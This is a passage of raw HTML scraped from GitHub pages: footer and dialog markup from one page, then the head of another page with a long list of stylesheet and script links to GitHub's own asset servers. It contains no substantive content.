</div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" 